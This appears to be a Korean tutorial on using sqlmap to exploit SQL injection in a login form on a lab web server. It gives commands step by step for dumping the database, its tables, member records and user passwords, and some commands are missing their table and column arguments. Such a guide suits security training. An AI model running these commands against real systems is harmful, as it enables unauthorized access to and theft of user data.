Sqlmap은 Sql Injection을 자동으로 수행해주는 프로그램으로 Kali linux에 기본으로 내장되어 있습니다.
해당 프로그램을 사용해 웹 사이트의 데이터 베이스 정보를 회수하는 법을 알아보도록 하겠습니다.

웹 사이트에 접속해서 개발자 도구를 활용해 로그인 폼의 코드를 확인합니다.

해당 웹 사이트에서는 login_chk.php 경로로 post 방식을 통해 id, pw 값을 전송합니다.
필요한 정보
- 파라미터 : id, pw
- 경로 : login_chk.php
- method : post
만약 쿠키 값이 있다면 --cookie 옵션을 사용해 입력해줍니다.
세션 ID는 인증을 해야만 접근할 수 있는 경로에 공격을 수행할 때, 또는 공격을 하는 동안 세션을 유지해야하는 경우에 입력해주면 됩니다.
해당 웹 사이트는 로그인을 할 때 세션 ID가 필요하지 않기 때문에 세션 ID 값은 입력하지 않습니다.
기본 공격 코드는 아래와 같습니다.
sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1&pw=1"
해당 웹 사이트는 Post 방식을 사용하기 때문에 --data 옵션을 이용해 따로 파라미터를 입력해줍니다.
Get 방식일 경우
sqlmap -u "http://192.168.5.170/board/login_chk.php?id=1&pw=1"

실행하면 여러 질문을 물어보는데 다 굳이 하지 않아도 되는 추가적인 테스트를 할 것인지 여부를 묻는 질문이기 때문에 그냥 엔터를 누르면 넘어갈 수 있습니다.

마지막쯤에 나오는 해당 질문은 응답 지연 시간을 조정하여 DBMS에 부하를 주지 않도록 최적화할지 여부를 묻는 질문입니다. 여기서는 Y를 입력하겠습니다.

공격이 완료되면 위의 사진처럼 DBMS 정보가 출력됩니다.
back-end DBMS: MYSQL > 5.0.12(MariaDB fork)
이제 여러 옵션을 통해 DB, Table, column을 회수해보겠습니다.
--current-db 옵션으로 현재 웹 사이트에서 사용중인 DB 이름 회수.
sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" --current-db

사용한 공격 코드가 출력되고

아래에는 현재 사용 중인 DB 정보가 출력됩니다.
current database: 'webhack'
이제 -D 옵션의 인자로 알아낸 DB의 이름을 입력하고 --tables 옵션으로 table들을 회수합니다.
sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack --tables


알아낸 table 중 원하는 table을 -T 옵션의 인자로 입력하고 --columns 옵션으로 해당 table의 column을 회수합니다.
sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack -T --columns
--dump 옵션을 사용하면 해당 테이블의 데이터를 가져올 수 있습니다.
sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack -T -C --dump


엔터 또는 Y 입력 후 기다리면 지정한 테이블의 정보를 볼 수 있습니다.(시간이 좀 걸립니다.)

그리고 해당 정보를 담은 csv 파일이 /root/.local/share/sqlmap/output/192.168.5.170/dump/webhack/member.csv 경로에 저장됩니다.

이외에도 여러 유용한 옵션들이 있습니다.
| 옵션 | 기능 |
|---|---|
| -a (--a) | 모든 정보 회수 |
| --current-user | 현재 유저 정보 회수 |
| --passwords | 유저들의 패스워드 회수 |
| --dbs | 모든 DB 정보 회수 |
| --dump-all | DBMS의 존재하는 모든 DB의 Table 값 회수 |
| --threads | 스레드 사용 (1~10) |
설명이 불친절하네요 수정 부탁드립니다